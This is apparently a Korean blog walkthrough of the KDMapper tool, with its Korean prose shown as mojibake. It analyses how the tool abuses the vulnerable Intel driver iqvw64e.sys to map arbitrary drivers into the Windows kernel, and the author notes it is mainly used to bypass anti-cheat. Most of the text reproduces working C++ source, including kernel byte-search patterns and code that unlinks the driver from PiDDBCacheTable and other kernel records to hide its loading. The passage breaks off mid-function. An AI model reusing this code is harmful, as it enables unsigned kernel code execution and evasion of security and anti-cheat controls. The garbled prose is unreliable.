Search
๐ŸชŸ

KDMapper

Date
Select
Tags

1. KDMapper

KDMapper๋Š” ์ทจ์•ฝํ•œ ์ธํ…” ๋„คํŠธ์›Œํฌ ์–ด๋Žํ„ฐ ์ง„๋‹จ ๋“œ๋ผ์ด๋ฒ„(iqvw64e.sys)๋ฅผ ์ด์šฉํ•˜์—ฌ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ปค๋„์— ๋งคํ•‘ํ•ด์ฃผ๋Š” ํˆด์ž…๋‹ˆ๋‹ค.
์ฃผ๋กœ ์•ˆํ‹ฐ ์น˜ํŠธ ์†”๋ฃจ์…˜ ์šฐํšŒ๋กœ ๋งŽ์ด ์“ฐ์ด๊ธฐ ๋•Œ๋ฌธ์— ํ•ด๋‹น ์ง€์‹์— ๋Œ€ํ•œ ํ•„์š”์„ฑ์„ ๋Š๋ผ๊ฒŒ ๋˜์—ˆ๊ณ , ๋ถ„์„ํ•ด๋ณด์•˜์Šต๋‹ˆ๋‹ค.

1.1 Main

๋ฉ”์ธ ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค.
1.
intel_driver::Load() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋กœ๋“œ ๋ฐ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ๋ฅผ ์‚ญ์ œํ•˜๊ณ  ํ•ด๋‹น ๋“œ๋ผ์ด๋ฒ„ ํ•ธ๋“ค์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.
a.
free ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ž…๋ ฅ๋ฐ›์€ ๊ฒฝ์šฐ ๋งคํ•‘ํ•œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ unloadํ•ฉ๋‹ˆ๋‹ค.
2.
kdmapper::MapDriver() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ์ „๋‹ฌํ•œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ปค๋„์— ๋งคํ•‘ํ•ด์ค๋‹ˆ๋‹ค.
int wmain(const int argc, wchar_t** argv) { SetUnhandledExceptionFilter(SimplestCrashHandler); if (argc != 2 && argc != 3) { Log(L"Usage: kdmapper.exe [--free] driver" << std::endl); return -1; } bool free = false; int drvIndex = 1; if (argc > 2) { if (_wcsicmp(argv[1], L"--free") == 0 || _wcsicmp(argv[1], L"/free") == 0) { free = true; drvIndex = 2; } else if (_wcsicmp(argv[2], L"--free") == 0 || _wcsicmp(argv[2], L"/free") == 0) { free = true; } } if (free) { Log(L"[+] Free pool memory after usage enabled" << std::endl); } if(std::filesystem::path(argv[drvIndex]).extension().string().compare(".sys") || argc == 3 && !free) { Log(L"Usage: kdmapper.exe [--free] driver" << std::endl); return -1; } const std::wstring driver_path = argv[drvIndex]; if (!std::filesystem::exists(driver_path)) { Log(L"[-] File " << driver_path << L" doesn't exist" << std::endl); return -1; } iqvw64e_device_handle = intel_driver::Load(); //iqvw64e.sys ๋“œ๋ผ์ด๋ฒ„ ๋กœ๋“œ ๋ฐ ํ•ธ๋“ค ๋ฆฌํ„ด if (iqvw64e_device_handle == INVALID_HANDLE_VALUE) return -1; if (!kdmapper::MapDrniver(iqvw64e_device_handle, driver_path, 0, 0, free, true)) { Log(L"[-] Failed to map " << driver_path << std::endl); intel_driver::Unload(iqvw64e_device_handle); return -1; } intel_driver::Unload(iqvw64e_device_handle); Log(L"[+] success" << std::endl); }
C
๋ณต์‚ฌ

1.2 intel_driver::Load()

ํ•ด๋‹น ํ•จ์ˆ˜์—์„œ๋Š” ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋กœ๋“œํ•˜๊ณ , ํ•ด๋‹น ๋“œ๋ผ์ด๋ฒ„์— ๋Œ€ํ•œ ๋ฉ”ํƒ€ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ญ์ œํ•ฉ๋‹ˆ๋‹ค.
ํ•ด๋‹น ํŒŒํŠธ์—์„œ ์ฒ˜์Œ ๋ณด๋Š” PiDDBCacheTable, KernelHashBucketList์— ๋Œ€ํ•œ ๋‚ด์šฉ๊ณผ
MiRememberUnloadDriver() ํ•จ์ˆ˜๊ฐ€ ์–ด๋–ป๊ฒŒ Unloadํ•  ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ฐพ๋Š”์ง€์— ๋Œ€ํ•œ ๋‚ด์šฉ์„ ์•Œ๊ฒŒ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
ํ•ด๋‹น ํ•จ์ˆ˜ ์ˆœ์„œ ์š”์•ฝ๊ณผ ์†Œ์Šค์ฝ”๋“œ์ž…๋‹ˆ๋‹ค.
1.
intel_driver::IsRunning() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„์˜ ๋กœ๋“œ ์œ ๋ฌด๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
2.
intel_driver::drvier_name์„ ๋žœ๋คํ•˜๊ฒŒ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
3.
GetDriverPath() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„ ํŒŒ์ผ ๊ฒฝ๋กœ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
4.
utils::CreateFileFromMemory() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„ ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
5.
service::RegisterAndStart() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ์ƒ์„ฑํ•œ ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.
6.
CreateFileW๋ฅผ ์ด์šฉํ•˜์—ฌ ๋“œ๋ผ์ด๋ฒ„ ํ•ธ๋“ค์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.
โ€ข
๋“œ๋ผ์ด๋ฒ„ ์ด๋ฆ„์— Nal์ด ๋“ค์–ด๊ฐ€๋Š” ์ด์œ ๋Š” ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„ ์„œ๋น„์Šค ์ด๋ฆ„์ด ์ง„์งœ Nal์ด์—ˆ์Šต๋‹ˆ๋‹ค;;
7.
utils::GetKernelModuleAddress() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ntoskrl.exe์˜ ์ฃผ์†Œ๊ฐ’์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.
8.
intel_driver::ClearPiDDBCacheTable() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„์˜ PiDDBCacheTable์„ ๋Š์–ด๋ฒ„๋ฆฝ๋‹ˆ๋‹ค.
9.
intel_driver::ClearKernelHashBucketList() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„์˜ KernelHashBucketList๋ฅผ ๋Š์–ด๋ฒ„๋ฆฝ๋‹ˆ๋‹ค.
10.
intel_driver::ClearMmUnloadedDrivers() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด MiRememberUnloadDriver()ํ•จ์ˆ˜๋ฅผ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค.
11.
์ดํ›„ ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„ ํ•ธ๋“ค์„ ๋ฆฌํ„ดํ•ฉ๋‹ˆ๋‹ค.
HANDLE intel_driver::Load() { srand((unsigned)time(NULL) * GetCurrentThreadId()); //from https://github.com/ShoaShekelbergstein/kdmapper as some Drivers takes same device name //๋“œ๋ผ์ด๋ฒ„ ๋Ÿฌ๋‹ ์ฒดํฌ if (intel_driver::IsRunning()) { Log(L"[-] \\Device\\Nal is already in use." << std::endl); return INVALID_HANDLE_VALUE; } //Randomize name for log in registry keys, usn jornal and other shits //๋“œ๋ผ์ด๋ฒ„ ๋„ค์ž„ Randomize memset(intel_driver::driver_name, 0, sizeof(intel_driver::driver_name)); static const char alphanum[] = "abcdefghijklmnopqrstuvwxyz" "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; int len = rand() % 20 + 10; for (int i = 0; i < len; ++i) intel_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; Log(L"[<] Loading vulnerable driver, Name: " << GetDriverNameW() << std::endl); // ๋“œ๋ผ์ด๋ฒ„ ํŒŒ์ผ ๋งŒ๋“ค ๊ฒฝ๋กœ ์ƒ์„ฑ std::wstring driver_path = GetDriverPath(); if (driver_path.empty()) { Log(L"[-] Can't find TEMP folder" << std::endl); return INVALID_HANDLE_VALUE; } //ํ˜น์‹œ ๋ชจ๋ฅผ ์ค‘๋ณต์„ ๋ฐฉ์ง€ํ•œ ์ œ๊ฑฐ์ž‘์—… _wremove(driver_path.c_str()); //Vuln ๋“œ๋ผ์ด๋ฒ„ ํŒŒ์ผ ์ƒ์„ฑ if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast<const char*>(intel_driver_resource::driver), sizeof(intel_driver_resource::driver))) { Log(L"[-] Failed to create vulnerable driver file" << std::endl); return INVALID_HANDLE_VALUE; } // ๋“œ๋ผ์ด๋ฒ„ ๋กœ๋“œ if (!service::RegisterAndStart(driver_path)) { Log(L"[-] Failed to register and start service for the vulnerable driver" << std::endl); _wremove(driver_path.c_str()); return INVALID_HANDLE_VALUE; } //๋กœ๋“œํ•œ ๋“œ๋ผ์ด๋ฒ„ ํ•ธ๋“ค ํš๋“ HANDLE result = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (!result || result == INVALID_HANDLE_VALUE) { Log(L"[-] Failed to load driver iqvw64e.sys" << std::endl); intel_driver::Unload(result); return INVALID_HANDLE_VALUE; } //get ntoskrnl.exe address ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe"); if (ntoskrnlAddr == 0) { Log(L"[-] Failed to get ntoskrnl.exe" << std::endl); intel_driver::Unload(result); return INVALID_HANDLE_VALUE; } if (!intel_driver::ClearPiDDBCacheTable(result)) { Log(L"[-] Failed to ClearPiDDBCacheTable" << std::endl); intel_driver::Unload(result); return INVALID_HANDLE_VALUE; } if (!intel_driver::ClearKernelHashBucketList(result)) { Log(L"[-] Failed to ClearKernelHashBucketList" << std::endl); intel_driver::Unload(result); return INVALID_HANDLE_VALUE; } if (!intel_driver::ClearMmUnloadedDrivers(result)) { Log(L"[!] Failed to ClearMmUnloadedDrivers" << std::endl); intel_driver::Unload(result); return INVALID_HANDLE_VALUE; } return result; }
C
๋ณต์‚ฌ
intel_driver::Load() ํ•จ์ˆ˜ ์ค‘ ์ค‘์š” ํ•จ์ˆ˜์— ๋Œ€ํ•œ ๋ถ„์„์€ ์•„๋ž˜์— ์ •๋ฆฌํ•ด ๋†“์•˜์Šต๋‹ˆ๋‹ค.

1.2.1 utils::GetKernelModuleAddress

ํ•ด๋‹น ํ•จ์ˆ˜์—์„œ๋Š” ํ›„ํ‚น์— ์ด์šฉํ•  ์ปค๋„ ๋ชจ๋“ˆ ์ฃผ์†Œ๊ฐ’์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.
utils::GetKernelModuleAddress() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ ntoskrnl.exe์˜ ์ปค๋„ ์ฃผ์†Œ๊ฐ’์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
1.
NtQuerySystemInformation์„ ์ด์šฉํ•˜์—ฌ ์‹œ์Šคํ…œ ๋ชจ๋“ˆ์˜ ํฌ๊ธฐ๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
2.
๊ฐ€์ ธ์˜จ ๋ชจ๋“ˆ์˜ ํฌ๊ธฐ๋งŒํผ ๋ฒ„ํผ๋ฅผ ํ• ๋‹นํ•˜๊ณ , ์‹œ์Šคํ…œ ๋ชจ๋“ˆ์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
3.
๋ชจ๋“ˆ์˜ ์ด๋ฆ„์ด ํŒŒ๋ผ๋ฏธํ„ฐ์™€ ๊ฐ™์„ ๋ชจ๋“ˆ์˜ ImageBase๋ฅผ ๋ฆฌํ„ดํ•ฉ๋‹ˆ๋‹ค.
uint64_t utils::GetKernelModuleAddress(const std::string& module_name) { void* buffer = nullptr; DWORD buffer_size = 0; //์‹œ์Šคํ…œ ๋ชจ๋“ˆ ํฌ๊ธฐ ํš๋“ NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size); //์‹œ์Šคํ…œ ๋ชจ๋“ˆ ์ •๋ณด ํš๋“ while (status == nt::STATUS_INFO_LENGTH_MISMATCH) { VirtualFree(buffer, 0, MEM_RELEASE); buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size); } if (!NT_SUCCESS(status)) { if (buffer != 0) VirtualFree(buffer, 0, MEM_RELEASE); return 0; } const auto modules = static_cast<nt::PRTL_PROCESS_MODULES>(buffer); if (!modules) return 0; for (auto i = 0u; i < modules->NumberOfModules; ++i) { const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[i].FullPathName) + modules->Modules[i].OffsetToFileName); //ํŒŒ์ผ ์ด๋ฆ„ ๋น„๊ต if (!_stricmp(current_module_name.c_str(), module_name.c_str())) { // ๊ฐ™์„ ๊ฒฝ์šฐ ImageBase๋ฆฌํ„ด const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[i].ImageBase); VirtualFree(buffer, 0, MEM_RELEASE); return result; } } VirtualFree(buffer, 0, MEM_RELEASE); return 0; }
C
๋ณต์‚ฌ

1.2.2 intel_driver::ClearPiDDBCacheTable()

ํ•ด๋‹น ํ•จ์ˆ˜์—์„œ๋Š” ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„์˜ PiDDBCacheTable์˜ ๋ฅผ ๋Š์Šต๋‹ˆ๋‹ค.
์ฒ˜์Œ ๋ณด๋Š” ์ปค๋„ ๊ธ€๋กœ๋ฒŒ ๋ณ€์ˆ˜์ธ PiDDBlock(_ERESOURCE), PiDDBCacheTable(_RTL_AVL_TABLE)๊ณผ
PiDDBCacheTable์˜ List๋ฅผ ๋Š๊ธฐ ์œ„ํ•œ PiDDBCacheEntry ๊ตฌ์กฐ์ฒด๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
//Find Pattern "\x81\xFB\x6C\x03\x00\xC0\x0F\x84\x00\x00\x00\x00\x48\x8D\x0D" // 81 FB 6C 03 00 C0 0F 84 ? ? ? ? 48 8D 0D //PiDDBCacheTable "\x66\x03\xD2\x48\x8D\x0D" // 66 03 D2 48 8D 0D //PiDDBlock //PiDDBCacheTable PAGEDATA:0000000140D2E000 ?? ?? ?? ?? ?? ?? ?? ??+PiDDBCacheTable RTL_AVL_TABLE <?> ; DATA XREF: PiLookupInDDBCache+22โ†‘o 00000000 RTL_AVL_TABLE struc ; (sizeof=0x68, align=0x8, copyof_2415) 00000000 ; XREF: .data:PopDirectedDripsUmTestDeviceTable/r 00000000 ; .data:PowerRequestStatsDatabase/r ... 00000000 BalancedRoot _RTL_BALANCED_LINKS ? 00000000 _RTL_BALANCED_LINKS struc ; (sizeof=0x20, align=0x8, copyof_1503) 00000000 ; XREF: RTL_AVL_TABLE/r 00000000 Parent dq ? ; offset 00000008 LeftChild dq ? ; offset 00000010 RightChild dq ? ; offset 00000018 Balance db ? 00000019 Reserved db 3 dup(?) 0000001C db ? ; undefined 0000001D db ? ; undefined 0000001E db ? ; undefined 0000001F db ? ; undefined 00000020 _RTL_BALANCED_LINKS ends 00000020 OrderedPointer dq ? ; offset 00000028 WhichOrderedElement dd ? 0000002C NumberGenericTableElements dd ? 00000030 DepthOfTree dd ? 00000034 db ? ; undefined 00000035 db ? ; undefined 00000036 db ? ; undefined 00000037 db ? ; undefined 00000038 RestartKey dq ? ; offset 00000040 DeleteCount dd ? 00000044 db ? ; undefined 00000045 db ? ; undefined 00000046 db ? ; undefined 00000047 db ? ; undefined 00000048 CompareRoutine dq ? ; offset 00000050 AllocateRoutine dq ? ; offset 00000058 FreeRoutine dq ? ; offset 00000060 TableContext dq ? ; XREF: PiLookupInDDBCache+36/w 00000060 ; PiUpdateDriverDBCache+5B/w ; offset 00000068 RTL_AVL_TABLE ends // PiDDBlock .data:0000000140C44840 ?? ?? ?? ?? ?? ?? ?? ??+PiDDBLock _ERESOURCE <?> ; DATA XREF: PpCheckInDriverDatabase+5Cโ†‘o 00000000 _ERESOURCE struc ; (sizeof=0x68, align=0x8) 00000000 ; XREF: .data:AdtpSourceModuleLock/r 00000000 ; .data:ExpTimeRefreshLock/r ... 00000000 SystemResourcesList _LIST_ENTRY ? 00000010 OwnerTable dq ? ; offset 00000018 ActiveCount dw ? 0000001A ___u3 $74FB5A5CBAA2B8762D7C13720D9EFBD6 ? 0000001A ; XREF: ExTryConvertSharedToExclusiveLite+4/r 0000001C db ? ; undefined 0000001D db ? ; undefined 0000001E db ? ; undefined 0000001F db ? ; undefined 00000020 SharedWaiters dq ? ; offset 00000028 ExclusiveWaiters dq ? ; offset 00000030 OwnerEntry _OWNER_ENTRY ? ; XREF: ExpTryConvertSharedToExclusiveLite+76/o 00000030 ; ExpTryConvertSharedToExclusiveLite+85/w ... 00000040 ActiveEntries dd ? 00000044 ContentionCount dd ? 00000048 NumberOfSharedWaiters dd ? 0000004C NumberOfExclusiveWaiters dd ? 00000050 Reserved2 dq ? ; offset 00000058 ___u12 $FA8F2364BE4EE7049C389A9C36002332 ? 00000060 SpinLock dq ? ; XREF: ExpTryConvertSharedToExclusiveLite+14/o 00000068 _ERESOURCE ends typedef struct _PiDDBCacheEntry { LIST_ENTRY List; UNICODE_STRING DriverName; ULONG TimeDateStamp; NTSTATUS LoadStatus; char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers } PiDDBCacheEntry, * NPiDDBCacheEntry;
C
๋ณต์‚ฌ
ํ•จ์ˆ˜ ์ „์ฒด ์†Œ์Šค์ฝ”๋“œ์ž…๋‹ˆ๋‹ค. ํ•จ์ˆ˜์˜ ์‚ฌ์ด์ฆˆ๊ฐ€ ํฌ๊ธฐ ๋•Œ๋ฌธ์— ํ•จ์ˆ˜๋ณ„๋กœ ๋ถ„์„ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.
bool intel_driver::ClearPiDDBCacheTable(HANDLE device_handle) { //PiDDBCacheTable added on LoadDriver PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x81\xFB\x6C\x03\x00\xC0\x0F\x84\x00\x00\x00\x00\x48\x8D\x0D", (char*)"xxxxxxxx????xxx"); // 81 FB 6C 03 00 C0 0F 84 ? ? ? ? 48 8D 0D update for build 21286 etc... PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", (char*)"xxxxxx"); if (PiDDBLockPtr == NULL || PiDDBCacheTablePtr == NULL) { Log(L"[-] Warning no PiDDBCacheTable Found" << std::endl); return false; } Log("[+] PiDDBLock Ptr 0x" << std::hex << PiDDBLockPtr << std::endl); Log("[+] PiDDBCacheTable Ptr 0x" << std::hex << PiDDBCacheTablePtr << std::endl); //PiDDBLock, PiDDBCacheTable ์ฃผ์†Œ๊ฐ’ ํš๋“ PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 15, 19); PRTL_AVL_TABLE PiDDBCacheTable = (PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle, (PVOID)PiDDBCacheTablePtr, 6, 10); //PiDDBCacheTable์˜ TableContext๋ฅผ ํ™•์ธํ•˜์—ฌ 0์ผ๊ฒฝ์šฐ 1๋กœ ๋ณ€๊ฒฝ ULONG64 prevContext = 0; ULONG64 targetContext = 1; if (!ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &prevContext, sizeof(ULONG64))) { Log(L"[-] Can't get read piddbcache table context" << std::endl); return false; } if (prevContext != targetContext) { WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &targetContext, sizeof(ULONG64)); } //fixed previous SetMemory leaving wrong context // PiDDB ๋ฆฌ์†Œ์Šค ๋…์  if (!ExAcquireResourceExclusiveLite(device_handle, PiDDBLock, true)) { Log(L"[-] Can't lock PiDDBCacheTable" << std::endl); return false; } Log(L"[+] PiDDBLock Locked" << std::endl); // search our entry in the table PiDDBCacheEntry* pFoundEntry = (PiDDBCacheEntry*)LookupEntry(device_handle, PiDDBCacheTable, iqvw64e_timestamp); if (pFoundEntry == nullptr) { Log(L"[-] Not found in cache" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } // first, unlink from the list PLIST_ENTRY prev; if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Blink)), &prev, sizeof(_LIST_ENTRY*))) { Log(L"[-] Can't get prev entry" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } PLIST_ENTRY next; if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Flink)), &next, sizeof(_LIST_ENTRY*))) { Log(L"[-] Can't get next entry" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } Log("[+] Found Table Entry = 0x" << std::hex << pFoundEntry << std::endl); if (!WriteMemory(device_handle, (uintptr_t)prev + (offsetof(struct _LIST_ENTRY, Flink)), &next, sizeof(_LIST_ENTRY*))) { Log(L"[-] Can't set next entry" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } if (!WriteMemory(device_handle, (uintptr_t)next + (offsetof(struct _LIST_ENTRY, Blink)), &prev, sizeof(_LIST_ENTRY*))) { Log(L"[-] Can't set prev entry" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } // then delete the element from the avl table. vuln Driver์˜ if (!RtlDeleteElementGenericTableAvl(device_handle, PiDDBCacheTable, pFoundEntry)) { Log(L"[-] Can't delete from PiDDBCacheTable" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } //Decrement delete count ULONG cacheDeleteCount = 0; ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG)); if (cacheDeleteCount > 0) { cacheDeleteCount--; WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG)); } //Restore context if wasn't 1 if (prevContext != targetContext) { WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &prevContext, sizeof(ULONG64)); } // release the ddb resource lock. ๋ฆฌ์†Œ์Šค ๋ฆด๋ฆฌ์ฆˆ ExReleaseResourceLite(device_handle, PiDDBLock); Log(L"[+] PiDDBCacheTable Cleaned" << std::endl); return true; }
C
๋ณต์‚ฌ
1.
ํŒจํ„ด์„ ์ด์šฉํ•˜์—ฌ PiDDBLock๊ณผ PiDDBCacheTable์„ ์ฐธ์กฐํ•˜๋Š” ์ฃผ์†Œ๊ฐ’์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.
PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x81\xFB\x6C\x03\x00\xC0\x0F\x84\x00\x00\x00\x00\x48\x8D\x0D", (char*)"xxxxxxxx????xxx"); // 81 FB 6C 03 00 C0 0F 84 ? ? ? ? 48 8D 0D update for build 21286 etc... PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", (char*)"xxxxxx"); if (PiDDBLockPtr == NULL || PiDDBCacheTablePtr == NULL) { Log(L"[-] Warning no PiDDBCacheTable Found" << std::endl); return false; } Log("[+] PiDDBLock Ptr 0x" << std::hex << PiDDBLockPtr << std::endl); Log("[+] PiDDBCacheTable Ptr 0x" << std::hex << PiDDBCacheTablePtr << std::endl);
C
๋ณต์‚ฌ
2.
ํš๋“ํ•œ ์ฃผ์†Œ๊ฐ’์œผ๋กœ ํ•ด๋‹น ๋ณ€์ˆ˜์˜ ์ฃผ์†Œ๊ฐ’์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.
//PiDDBLock, PiDDBCacheTable ์ฃผ์†Œ๊ฐ’ ํš๋“ PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 15, 19); PRTL_AVL_TABLE PiDDBCacheTable = (PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle, (PVOID)PiDDBCacheTablePtr, 6, 10);
C
๋ณต์‚ฌ
3.
PiDDBCacheTable์˜ TableContext ๊ฐ’์ด 0์ธ ๊ฒฝ์šฐ 1๋กœ ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ๊ฐ’์„ ์™œ ๋ณ€๊ฒฝํ•ด์•ผ ํ•˜๋Š”์ง€์— ๋Œ€ํ•œ ์ด์œ ๋Š” ์•„์ง ์ฐพ์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค. ์•„๋งˆ Table์˜ ๊ฐ’์„ ์ˆ˜์ •ํ•ด์•ผ ํ•  ๊ฒฝ์šฐ 1๋กœ Setํ•ด์•ผ ํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค.
ULONG64 prevContext = 0; ULONG64 targetContext = 1; if (!ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &prevContext, sizeof(ULONG64))) { Log(L"[-] Can't get read piddbcache table context" << std::endl); return false; } if (prevContext != targetContext) { WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &targetContext, sizeof(ULONG64)); } //fixed previous SetMemory leaving wrong context
C
๋ณต์‚ฌ
4.
PiDDBTable์„ ์ˆ˜์ •ํ•˜๊ธฐ์œ„ํ•ด PiDDBlock์„ ์ด์šฉํ•ด ํ•ด๋‹น ํ…Œ์ด๋ธ”์˜ ๋ฆฌ์†Œ์Šค๋ฅผ ๋…์ ํ•ฉ๋‹ˆ๋‹ค.
if (!ExAcquireResourceExclusiveLite(device_handle, PiDDBLock, true)) { Log(L"[-] Can't lock PiDDBCacheTable" << std::endl); return false; } Log(L"[+] PiDDBLock Locked" << std::endl);
C
๋ณต์‚ฌ
5.
LookupEntry ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด ์ทจ์•ฝํ•œ ๋“œ๋ผ์ด๋ฒ„์˜ PiDDBCacheEntry๋ฅผ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.
// search our entry in the table PiDDBCacheEntry* pFoundEntry = (PiDDBCacheEntry*)LookupEntry(device_handle, PiDDBCacheTable, iqvw64e_timestamp); if (pFoundEntry == nullptr) { Log(L"[-] Not found in cache" << std::endl); ExReleaseResourceLite(device_handle, PiDDBLock); return false; }
C
๋ณต์‚ฌ
โ€ข
LookupEntry ํ•จ์ˆ˜
intel_driver::PiDDBCacheEntry* intel_driver::LookupEntry(HANDLE device_handle, PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp) { PiDDBCacheEntry* firstEntry; //PiDDBCacheTable์˜ BalancedRoot.RightChild ๊ฐ’์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. if (!ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, BalancedRoot.RightChild)), &firstEntry, sizeof(_RTL_BALANCED_LINKS*))) { return nullptr; } //Balanced_links ์‚ฌ์ด์ฆˆ๋งŒํผ firstEntry ๋”ํ•ฉ๋‹ˆ๋‹ค. ์™œ๋ƒํ•˜๋ฉด RTL_BALANCED_LINKS ๋ฐ‘์— PiDDBCacheEntry๊ฐ€ ์กด์žฌํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. (*(uintptr_t*)&firstEntry) += sizeof(RTL_BALANCED_LINKS); //์ดํ›„ Flink๋ฅผ cache_entry์— ๋„ฃ๊ณ  ์ˆœํšŒํ•˜๋ฉด์„œ TimeStamp๊ฐ€ ์ผ์น˜ํ•˜๋Š” PiDDBCacheEntry๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. PiDDBCacheEntry* cache_entry; if (!ReadMemory(device_handle, (uintptr_t)firstEntry + (offsetof(struct _PiDDBCacheEntry, 